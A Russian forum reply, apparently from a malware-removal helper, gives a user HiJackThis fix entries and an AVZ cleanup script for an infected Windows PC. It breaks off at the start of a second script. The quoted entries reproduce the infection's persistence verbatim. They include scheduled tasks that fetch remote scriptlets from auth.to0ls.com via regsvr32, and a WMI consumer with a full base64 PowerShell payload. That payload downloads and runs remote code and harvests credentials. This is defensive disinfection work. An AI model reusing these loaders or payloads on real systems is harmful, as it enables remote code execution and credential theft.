Здравствуйте,
Удалите остатки от антивируса Avast утилитой Avast Remover. (https://www.avast.ru/uninstall-utility)
HiJackThis профиксить (http://www.cyberforum.ru/viruses-faq/thread89293.html)
Важно: необходимо отметить и профиксить только то, что указано ниже.
O7 - IPSec: Name: netbc (2019/07/04) - {152ddff7-3475-42fc-967e-63f860d58942} - Source: Any IP - Destination: my IP (Port 445 TCP) (mirrored) - Action: Block
O21 - HKLM\..\ShellIconOverlayIdentifiers\00asw: (no name) - {472083B0-C522-11CF-8763-00608CC02F24} - (no file)
O22 - Task: Microsoft Assist Job - C:\Windows\system32\regsvr32.exe /u /s /i:http://auth.to0ls.com:443/antivirus.php scrobj.dll
O22 - Task: SystemFlushDns - C:\Windows\system32\regsvr32.exe /u /s /i:http://auth.to0ls.com:443/antivirus.php scrobj.dll
O25 - WMI Event: Systems Manage Consumer - Systems Manage Filter - Event="__InstanceModificationEvent WITHIN 5601 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'", powershell.exe -NoP -NonI -W Hidden -E bgBlAHQAIABzAHQAYQByAHQAIABSAHAAYwBTAHMAIAB8ACAATwB1AHQALQBOAHUAbABsAA0ACgBuAGUAdAAgAHMAdABhAHIAdAAg AFIAcABjAEwAbwBjAGEAdABvAHIAIAB8ACAATwB1AHQALQBOAHUAbABsAA0ACgBuAGUAdAAgAHMAdABhAHIAdAAgAFIAZQBtAG8A dABlAFIAZQBnAGkAcwB0AHIAeQAgAHwAIABPAHUAdAAtAE4AdQBsAGwADQAKAG4AZQB0ACAAcwB0AGEAcgB0ACAAUgBwAGMARQBw AHQATQBhAHAAcABlAHIAIAB8ACAATwB1AHQALQBOAHUAbABsAA0ACgBuAGUAdAAgAHMAdABhAHIAdAAgAFcAaQBuAG0AZwBtAHQA IAB8ACAATwB1AHQALQBOAHUAbABsAA0ACgBuAGUAdAAgAHMAdABhAHIAdAAgAFcAaQBuAFIATQAgAHwAIABPAHUAdAAtAE4AdQBs AGwADQAKACQAcABpAG4AIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgBuAGUAdAB3AG8A cgBrAGkAbgBmAG8AcgBtAGEAdABpAG8AbgAuAHAAaQBuAGcADQAKACQAcwBlAD0AQAAoACgAJwBhAHUAdABoAC4AdABvADAAbABz AC4AYwBvAG0AJwApACwAKAAnAG0AYQBpAGwALgB0AG8AMABsAHMALgBjAG8AbQAnACkAKQANAAoAJABhAHYAZwBzACAAPQAgAEAA KAApAA0ACgAkAG4AaQBjACAAPQAgACcAYQB1AHQAaAAuAHQAbwAwAGwAcwAuAGMAbwBtACcADQAKACQAdABtAHAAIAA9ACAAMAAN AAoAJABkAHQAZgBsAGEAZwAgAD0AIAAkAFQAcgB1AGUADQAKACQAdABtAHAAIAA9ACAAKAAkAHAAaQBuAC4AcwBlAG4AZAAoACQA cwBlAFsAMABdACkAKQAuAFIAbwB1AG4AZAB0AHIAaQBwAFQAaQBtAGUADQAKAGkAZgAgACgAJAB0AG0AcAAgAC0AbgBlACAAMAAp AHsADQAKACAAIAAgACAAJABkAHQAZgBsAGEAZwAgAD0AIAAkAFQAcgB1AGUADQAKAH0AZQBsAHMAZQB7AA0ACgAgACAAIAAgACQA dABtAHAAIAA9ACAAKAAkAHAAaQBuAC4AcwBlAG4AZAAoACQAcwBlAFsAMQBdACkAKQAuAFIAbwB1AG4AZAB0AHIAaQBwAFQAaQBt AGUADQAKACAAIAAgACAAaQBmACAAKAAkAHQAbQBwACAALQBuAGUAIAAwACkAewANAAoAIAAgACAAIAAgACAAIAAgACQAZAB0AGYA bABhAGcAIAA9ACAAJABGAGEAbABzAGUADQAKACAAIAAgACAAIAAgACAAIAAkAG4AaQBjACAAPQAgACQAcwBlAFsAMQBdAA0ACgAg ACAAIAAgAH0AZQBsAHMAZQB7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAAxADsA JABpACsAKwApAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAkAG4AcwBsAG8AbwBrAHUAcAAg AD0AIAAmAG4AcwBsAG8AbwBrAHUAcAAuAGUAeABlACAAJABzAGUAWwAkAGkAXQAgADgALgA4AC4AOAAuADgADQAKACAAIAAgACAA IAAgACAAIAAgACAAIAAgACQAbgBzAGwAbwBvAGsAdQBwACAAPQAgACQAbgBzAGwAbwBvAGsAdQBwAC4AcgBlAHAAbABhAGMAZQAo ACIAOAAuADgALgA4AC4AOAAiACwAIgB4AHgAeAB4AHgAeAB4AHgAIgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHAA YQB0AHQAZQByAG4APQAiACgAMgA1AFsAMAAtADUAXQB8ADIAWwAwAC0ANABdAFwAZAB8AFsAMAAtADEAXQBcAGQAewAyAH0AfABb ADEALQA5AF0APwBcAGQAKQBcAC4AKAAyADUAWwAwAC0ANQBdAHwAMgBbADAALQA0AF0AXABkAHwAWwAwAC0AMQBdAFwAZAB7ADIA fQB8AFsAMQAtADkAXQA/AFwAZAApAFwALgAoADIANQBbADAALQA1AF0AfAAyAFsAMAAtADQAXQBcAGQAfABbADAALQAxAF0AXABkAHsAMgB9AHwAWwAxAC0A OQBdAD8AXABkACkAXAAuACgAMgA1AFsAMAAtADUAXQB8ADIAWwAwAC0ANABdAFwAZAB8AFsAMAAtADEAXQBcAGQAewAyAH0AfABb ADEALQA5AF0APwBcAGQAKQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAKAAkAG4AcwBsAG8AbwBrAHUAcAAgAC0A bQBhAHQAYwBoACAAJABwAGEAdAB0AGUAcgBuACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHMAZQBb ACQAaQBdACAAPQAgACQAbQBhAHQAYwBoAGUAcwBbADAAXQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQBlAGwAcwBlAHsA DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGUAWwAkAGkAXQAgAD0AIAAiADgALgA4AC4AOAAuADgAIgAN AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIABpAGYA KAAhACgAJABzAGUAWwAwAF0ALgBjAG8AbgB0AGEAaQBuAHMAKAAiADgALgA4AC4AOAAuADgAIgApACkAIAAtAGEAbgBkACAAIQAo ACQAcwBlAFsAMQBdAC4AYwBvAG4AdABhAGkAbgBzACgAIgA4AC4AOAAuADgALgA4ACIAKQApACkAewANAAoAIAAgACAAIAAgACAA IAAgACAAIAAgACAAaQBmACgAJABzAGUAWwAwAF0ALgBjAG8AbgB0AGEAaQBuAHMAKAAkAHMAZQBbADEAXQApACkAewANAAoAIAAg ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG4AaQBjACAAPQAgACQAcwBlAFsAMABdAA0ACgAgACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACQAZAB0AGYAbABhAGcAIAA9ACAAJABGAGEAbABzAGUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAg AH0AZQBsAHMAZQB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZAB0AGYAbABhAGcAIAA9ACAAJABUAHIA dQBlAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAfQBlAGwAcwBlAGkAZgAoACQAcwBl AFsAMABdAC4AYwBvAG4AdABhAGkAbgBzACgAIgA4AC4AOAAuADgALgA4ACIAKQApAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAA IAAgACQAbgBpAGMAIAA9ACAAJABzAGUAWwAxAF0ADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZAB0AGYAbABhAGcAIAA9 ACAAJABGAGEAbABzAGUADQAKACAAIAAgACAAIAAgACAAIAB9AGUAbABzAGUAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAA JABuAGkAYwAgAD0AIAAkAHMAZQBbADAAXQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAHQAZgBsAGEAZwAgAD0AIAAk AEYAYQBsAHMAZQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAfQANAAoAfQANAAoAaQBmACgAJABkAHQAZgBsAGEA ZwApAHsADQAKACAAIAAgACAAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAAxADsAJABpACsAKwApAHsADQAKACAAIAAg ACAAIAAgACAAIAAkAHMAdQBtACAAPQAgADAADQAKACAAIAAgACAAIAAgACAAIAAkAGMAbwB1AG4AdAAgAD0AIAAwAA0ACgAgACAA IAAgACAAIAAgACAAZgBvAHIAKAAkAGoAPQAxADsAJABqACAALQBsAGUAIAA0ADsAJABqACsAKwApAHsADQAKACAAIAAgACAAIAAg ACAAIAAgACAAIAAgACQAdABtAHAAIAA9ACAAKAAkAHAAaQBuAC4AcwBlAG4AZAAoACQAcwBlAFsAJABpAF0AKQApAC4AUgBvAHUA bgBkAHQAcgBpAHAAVABpAG0AZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHQAbQBwACAALQBuAGUAIAAw ACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwB1AG4AdAAgACsAPQAgADEADQAKACAAIAAgACAA IAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAcwB1AG0AIAArAD0AIAAkAHQAbQBwAA0ACgAg ACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABjAG8AdQBuAHQAIAAtAG4AZQAgADAAKQB7AA0A CgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGEAdgBnAHMAIAArAD0AIAAkAHMAdQBtAC8AJABjAG8AdQBuAHQADQAKACAAIAAg ACAAIAAgACAAIAB9AGUAbABzAGUAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABhAHYAZwBzACAAKwA9ACAAMAANAAoA IAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQAgAC0AZQBxACAAMAApAHsADQAKACAAIAAg ACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAKAAkAGEAdgBnAHMAWwAwAF0AIAAtAGwAZQAgADMAMAAwACkAIAAtAGEAbgBkACAA KAAkAGEAdgBnAHMAWwAwAF0AIAAtAG4AZQAgADAAKQApAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABu AGkAYwAgAD0AIAAkAHMAZQBbADAAXQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABiAHIAZQBhAGsADQAKACAA IAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAk AGkAIAAtAGUAcQAgADEAKQB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAYQB2AGcAcwBbADEAXQAgAC0A bgBlACAAMAApAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAoACQAYQB2AGcAcwBbADAAXQAg AC0AbABlACAAJABhAHYAZwBzAFsAMQBdACkAIAAtAGEAbgBkACAAKAAkAGEAdgBnAHMAWwAwAF0AIAAtAG4AZQAgADAAKQApAHsA DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG4AaQBjACAAPQAgACQAcwBlAFsAMABdAA0ACgAg ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYgByAGUAYQBrAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAA IAAgACAAIAAgAH0AZQBsAHMAZQB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABuAGkAYwAg AD0AIAAkAHMAZQBbADEAXQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGIAcgBlAGEAawANAAoA IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAg ACAAIAAgACAAfQANAAoAIAAgACAAIAB9AA0ACgB9AA0ACgAkAG4AaQBjAD0AJABuAGkAYwArACgAJwA6ACcAKwAnADQANAAzACcA KQANAAoAJAB2AGUAcgA9ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3 AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAkAG4AaQBjAC8AdwAvAHYAZQByAC4AdAB4AHQAIgApAC4A VAByAGkAbQAoACkADQAKAGkAZgAoACQAdgBlAHIAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsADQAKACAAIAAgACAAJAB2AGUAcgBf AHQAbQBwAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwByAG8AbwB0AFwAZABlAGYAYQB1AGwAdAA6AFcAaQBuAGQAbwB3AF8A QwBvAHIAZQBfAEYAbAB1AHMAaABfAEMAYQBjAGgAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAdgBlAHIAJwBdAC4AVgBh AGwAdQBlAA0ACgAgACAAIAAgAGkAZgAoACQAdgBlAHIAIAAtAG4AZQAgACQAdgBlAHIAXwB0AG0AcAApAHsADQAKACAAIAAgACAA IAAgACAAIABJAEUAWAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3 AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAkAG4AaQBjAC8AdwAvAGEAbgB0AGkAdgBpAHIAdQBzAC4A cABzADEAIgApAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4ADQAKACAAIAAgACAAfQANAAoAfQANAAoAJABmAHUAbgBz ACAAPQAgACgAWwBXAG0AaQBDAGwAYQBzAHMAXQAgACcAcgBvAG8AdABcAGQAZQBmAGEAdQBsAHQAOgBXAGkAbgBkAG8AdwBfAEMA bwByAGUAXwBGAGwAdQBzAGgAXwBDAGEAYwBoACcAKQAuAFAAcgBvAHAAZQByAHQAaQBlAHMAWwAnAGYAdQBuAHMAJwBdAC4AVgBh AGwAdQBlAA0ACgAkAGQAZQBmAHUAbgA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEA UwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBC AGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZgB1AG4AcwApACkADQAKAGkAZQB4ACAAJABkAGUAZgB1AG4ADQAKAA0ACgBHAGUA dAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAXwBfAEYAaQBsAHQAZQByAFQAbwBDAG8AbgBzAHUAbQBlAHIAQgBpAG4AZABpAG4AZwAg AC0ATgBhAG0AZQBzAHAAYQBjAGUAIAByAG8AbwB0AFwAcwB1AGIAcwBjAHIAaQBwAHQAaQBvAG4AIAB8ACAAVwBoAGUAcgBlAC0A TwBiAGoAZQBjAHQAIAB7ACQAXwAuAGYAaQBsAHQAZQByACAALQBuAG8AdABtAGEAdABjAGgAIAAnAFMAeQBzAHQAZQBtAHMAIABN AGEAbgBhAGcAZQAnAH0AIAB8AFIAZQBtAG8AdgBlAC0AVwBtAGkATwBiAGoAZQBjAHQADQAKAA0ACgBbAGEAcgByAGEAeQBdACQA cABzAGkAZABzAD0AIABnAGUAdAAtAHAAcgBvAGMAZQBzAHMAIAAtAG4AYQBtAGUAIABwAG8AdwBlAHIAcwBoAGUAbABsACAAfABz AG8AcgB0ACAAYwBwAHUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsA JABfAC4AaQBkAH0ADQAKACQAdABjAHAAYwBvAG4AbgAgAD0AIABuAGUAdABzAHQAYQB0ACAALQBhAG4AbwBwACAAdABjAHAADQAK ACQAZQB4AGkAcwB0AD0AJABGAGEAbABzAGUADQAKAGkAZgAgACgAJABwAHMAaQBkAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAA0A CgB7AA0ACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAdAAgAGkAbgAgACQAdABjAHAAYwBvAG4AbgApAA0ACgAgACAAIAAg AHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAaQBuAGUAIAA9ACQAdAAuAHMAcABsAGkAdAAoACcAIAAnACkAfAAgAD8AewAkAF8A fQANAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABsAGkAbgBlACAALQBlAHEAIAAkAG4AdQBsAGwAKQANAAoAIAAgACAAIAAg ACAAIAAgAHsAYwBvAG4AdABpAG4AdQBlAH0ADQAKACAAIAAgACAAIAAgACAAIABpAGYAIAAoACgAJABwAHMAaQBkAHMAIAAtAGMA bwBuAHQAYQBpAG4AcwAgACQAbABpAG4AZQBbAC0AMQBdACkAIAAtAGEAbgBkACAAJAB0AC4AYwBvAG4AdABhAGkAbgBzACgAIgBF AFMAVABBAEIATABJAFMASABFAEQAIgApACAALQBhAG4AZAAgACgAJAB0AC4AYwBvAG4AdABhAGkAbgBzACgAIgA6ADgAMAAiACkA IAAtAG8AcgAgACQAdAAuAGMAbwBuAHQAYQBpAG4AcwAoACIAOgAxADQANAA0ADQAIgApACkAKQANAAoAIAAgACAAIAAgACAAIAAg AHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQB4AGkAcwB0AD0AJAB0AHIAdQBlAA0ACgAgACAAIAAgACAAIAAgACAA IAAgACAAIABiAHIAZQBhAGsADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0ADQAKAH0ADQAKAFIAdQBuAEQARABP AFMAIAAiAGMAbwBoAGUAcgBuAGUAYwBlAC4AZQB4AGUAIgAgACIANABGAC0ARQAyAC0ARABFAC0ANgBGAC0AQgBCAC0AMgA3AC0A OABFAC0ANQA2AC0AQwAyAC0AMwBFAC0AOQAwAC0ANAAzAC0AMgBGAC0AMgAxAC0ARgA2AC0AQwA4ACIADQAKAEsAaQBsAGwAQgBv AHQAKAAnAFcAaQBuAGQAbwB3AF8AQwBvAHIAZQBfAEYAbAB1AHMAaABfAEMAYQBjAGgAJwApAA0ACgBmAG8AcgBlAGEAYwBoACAA KAAkAHQAIABpAG4AIAAkAHQAYwBwAGMAbwBuAG4AKQANAAoAewANAAoAIAAgACAAIAAkAGwAaQBuAGUAIAA9ACQAdAAuAHMAcABs AGkAdAAoACcAIAAnACkAfAAgAD8AewAkAF8AfQANAAoAIAAgACAAIABpAGYAIAAoACEAKAAkAGwAaQBuAGUAIAAtAGkAcwAgAFsA YQByAHIAYQB5AF0AKQApAHsAYwBvAG4AdABpAG4AdQBlAH0ADQAKACAAIAAgACAAaQBmACAAKAAoACQAbABpAG4AZQBbAC0AMwBd AC4AYwBvAG4AdABhAGkAbgBzACgAIgA6ADMAMwAzADMAIgApACAALQBvAHIAIAAkAGwAaQBuAGUAWwAtADMAXQAuAGMAbwBuAHQA YQBpAG4AcwAoACIAOgA1ADUANQA1ACIAKQAgAC0AbwByACAAJABsAGkAbgBlAFsALQAzAF0ALgBjAG8AbgB0AGEAaQBuAHMAKAAi ADoANwA3ADcANwAiACkAKQAgAC0AYQBuAGQAIAAkAHQALgBjAG8AbgB0AGEAaQBuAHMAKAAiAEUAUwBUAEEAQgBMAEkAUwBIAEUA RAAiACkAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJABlAHYAaQBkAD0AJABsAGkAbgBlAFsALQAxAF0ADQAK ACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAGkAZAAgACQAZQB2AGkAZAAgAHwAIABzAHQAbwBwAC0A cAByAG8AYwBlAHMAcwAgAC0AZgBvAHIAYwBlAA0ACgAgACAAIAAgAH0ADQAKAH0ADQAKAGkAZgAgACgAIQAkAGUAeABpAHMAdAAg AC0AYQBuAGQAIAAoACQAcABzAGkAZABzAC4AYwBvAHUAbgB0ACAALQBsAGUAIAA4ACkAKQANAAoAewANAAoAIAAgACAAIAAkAGMA bQBkAG0AbwBuAD0AIgBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBOAG8AUAAgAC0ATgBvAG4ASQAgAC0AVwAgAEgAaQBkAGQAZQBu ACAAYAAiAGAAJABtAG8AbgAgAD0AIAAoAFsAVwBtAGkAQwBsAGEAcwBzAF0AIAAnAHIAbwBvAHQAXABkAGUAZgBhAHUAbAB0ADoA VwBpAG4AZABvAHcAXwBDAG8AcgBlAF8ARgBsAHUAcwBoAF8AQwBhAGMAaAAnACkALgBQAHIAbwBwAGUAcgB0AGkAZQBzAFsAJwBt AG8AbgAnAF0ALgBWAGEAbAB1AGUAOwBgACQAZgB1AG4AcwAgAD0AIAAoAFsAVwBtAGkAQwBsAGEAcwBzAF0AIAAnAHIAbwBvAHQA XABkAGUAZgBhAHUAbAB0ADoAVwBpAG4AZABvAHcAXwBDAG8AcgBlAF8ARgBsAHUAcwBoAF8AQwBhAGMAaAAnACkALgBQAHIAbwBw AGUAcgB0AGkAZQBzAFsAJwBmAHUAbgBzACcAXQAuAFYAYQBsAHUAZQAgADsAaQBlAHgAIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUA eAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAu AEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAGAAJABmAHUAbgBzACkAKQApADsA SQBuAHYAbwBrAGUALQBDAG8AbQBtAGEAbgBkACAAIAAtAFMAYwByAGkAcAB0AEIAbABvAGMAawAgAGAAJABSAGUAbQBvAHQAZQBT AGMAcgBpAHAAdABCAGwAbwBjAGsAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAQAAoAGAAJABtAG8AbgAsACAAYAAkAG0A bwBuACwAIAAnAFYAbwBpAGQAJwAsACAAMAAsACAAJwAnACwAIAAnACcAKQBgACIAIgANAAoAIAAgACAAIAAkAHYAYgBzACAAPQAg AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAVwBTAGMAcgBpAHAAdAAuAFMAaABlAGwAbAANAAoA IAAgACAAIAAkAHYAYgBzAC4AcgB1AG4AKAAkAGMAbQBkAG0AbwBuACwAMAApAA0ACgB9AA0ACgANAAoAJAB0AGkAbQBlAG4AbwB3 ACAAPQAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAFMAdABhAHIAdAAgACgARwBlAHQALQBEAGEAdABlACAAIgAwADEA LwAwADEALwAxADkANwAwACIAKQAgAC0ARQBuAGQAIAAoAEcAZQB0AC0ARABhAHQAZQApACkALgBUAG8AdABhAGwAUwBlAGMAbwBu AGQAcwANAAoAJABmAGwAYQBnAHQAaQBtAGUAIAA9ACAAKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwByAG8AbwB0AFwAZABlAGYA YQB1AGwAdAA6AFcAaQBuAGQAbwB3AF8AQwBvAHIAZQBfAEYAbAB1AHMAaABfAEMAYQBjAGgAJwApAC4AUAByAG8AcABlAHIAdABp AGUAcwBbACcAZgBsAGEAZwAnAF0ALgBWAGEAbAB1AGUADQAKAGkAZgAoACgAJAB0AGkAbQBlAG4AbwB3AC0AJABmAGwAYQBnAHQA aQBtAGUAKQAgAC0AZwB0ACAAMQA4ADAAMAAwACkAewANAAoAIAAgACAAIAAkAFMAdABhAHQAaQBjAEMAbABhAHMAcwA9AE4AZQB3 AC0ATwBiAGoAZQBjAHQAIABNAGEAbgBhAGcAZQBtAGUAbgB0AC4ATQBhAG4AYQBnAGUAbQBlAG4AdABDAGwAYQBzAHMAKAAnAHIA bwBvAHQAXABkAGUAZgBhAHUAbAB0ADoAVwBpAG4AZABvAHcAXwBDAG8AcgBlAF8ARgBsAHUAcwBoAF8AQwBhAGMAaAAnACkADQAK ACAAIAAgACAAJABTAHQAYQB0AGkAYwBDAGwAYQBzAHMALgBTAGUAdABQAHIAbwBwAGUAcgB0AHkAVgBhAGwAdQBlACgAJwBmAGwA YQBnACcAIAAsACQAdABpAG0AZQBuAG8AdwApAA0ACgAgACAAIAAgACQAUwB0AGEAdABpAGMAQwBsAGEAcwBzAC4AUAB1AHQAKAAp ACAAfAAgAE8AdQB0AC0ATgB1AGwAbAANAAoAIAAgACAAIAAkAE4AVABMAE0APQAkAEYAYQBsAHMAZQANAAoAIAAgACAAIAAkAG0A aQBtAGkAIAA9ACAAKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwByAG8AbwB0AFwAZABlAGYAYQB1AGwAdAA6AFcAaQBuAGQAbwB3 AF8AQwBvAHIAZQBfAEYAbAB1AHMAaABfAEMAYQBjAGgAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAbQBpAG0AaQAnAF0A LgBWAGEAbAB1AGUADQAKACAAIAAgACAAJABhACwAIAAkAE4AVABMAE0APQAgAEcAZQB0AC0AYwByAGUAZABzACAAJABtAGkAbQBp ACAAJABtAGkAbQBpAA0ACgAgACAAIAAgACQAaQBwAHMAdQAgAD0AIAAoAFsAVwBtAGkAQwBsAGEAcwBzAF0AIAAnAHIAbwBvAHQA XABkAGUAZgBhAHUAbAB0ADoAVwBpAG4AZABvAHcAXwBDAG8AcgBlAF8ARgBsAHUAcwBoAF8AQwBhAGMAaAAnACkALgBQAHIAbwBw AGUAcgB0AGkAZQBzAFsAJwBpAHAAcwB1ACcAXQAuAFYAYQBsAHUAZQANAAoAIAAgACAAIAAkAGkAMQA3ACAAPQAgACgAWwBXAG0A aQBDAGwAYQBzAHMAXQAgACcAcgBvAG8AdABcAGQAZQBmAGEAdQBsAHQAOgBXAGkAbgBkAG8AdwBfAEMAbwByAGUAXwBGAGwAdQBz AGgAXwBDAGEAYwBoACcAKQAuAFAAcgBvAHAAZQByAHQAaQBlAHMAWwAnAGkAMQA3ACcAXQAuAFYAYQBsAHUAZQANAAoAIAAgACAA IAAkAHMAYwBiAGEAPQAgACgAWwBXAG0AaQBDAGwAYQBzAHMAXQAgACcAcgBvAG8AdABcAGQAZQBmAGEAdQBsAHQAOgBXAGkAbgBk AG8AdwBfAEMAbwByAGUAXwBGAGwAdQBzAGgAXwBDAGEAYwBoACcAKQAuAFAAcgBvAHAAZQByAHQAaQBlAHMAWwAnAHMAYwAnAF0A LgBWAGEAbAB1AGUADQAKACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAcwBjAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQBy AHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcwBjAGIAYQApAA0ACgAgACAAIAAgAEkAbgB2AG8A awBlAC0AQgByAGUAeABpAHQAIAAtAHMAYwBjAGMAYwBjAGMAIAAkAHMAYwAgAC0AaQBwAHMAdQAgACQAaQBwAHMAdQAgAC0AaQAx ADcAIAAkAGkAMQA3ACAALQBuAGkAYwAgACQAbgBpAGMAIAAtAGEAIAAkAGEAIAAtAE4AVABMAE0AIAAkAE4AVABMAE0ADQAKAH0A DQAKAGUAeABpAHQA
AVZ выполнить следующий скрипт (http://www.cyberforum.ru/viruses-faq/thread89292.html).
Важно на ОС: Windows Vista/7/8/8.1 AVZ запускайте через контекстное меню проводника от имени Администратора.
begin
ShowMessage('Внимание! Перед выполнением скрипта AVZ автоматически закроет все сетевые подключения.'+#13#10+'После перезагрузки компьютера подключения к сети будут восстановлены в автоматическом режиме.');
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
TerminateProcessByName('c:\windows\temp\cohernece.exe');
QuarantineFile('C:\Windows\System32\cwlog.dtl','');
QuarantineFile('C:\Windows\system32\start','');
QuarantineFile('c:\windows\temp\cohernece.exe','');
DeleteFile('c:\windows\temp\cohernece.exe','32');
RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\RunOnce','c732608','x 64');
DeleteSchedulerTask('Microsoft\Windows\PMS\ResetDTL');
DeleteSchedulerTask('Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask');
DeleteSchedulerTask('Microsoft Assist Job');
DeleteSchedulerTask('Microsoft\Windows\Time Synchronization\SynchronizeTime');
DeleteSchedulerTask('SystemFlushDns');
BC_ImportAll;
ExecuteSysClean;
BC_Activate;
ExecuteWizard('SCU', 2, 3, true);
RebootWindows(true);
end.
После выполнения скрипта компьютер перезагрузится.
После перезагрузки:
- Выполните в AVZ:
begin
DeleteFile(GetAVZDirectory+'quarantine.7z');
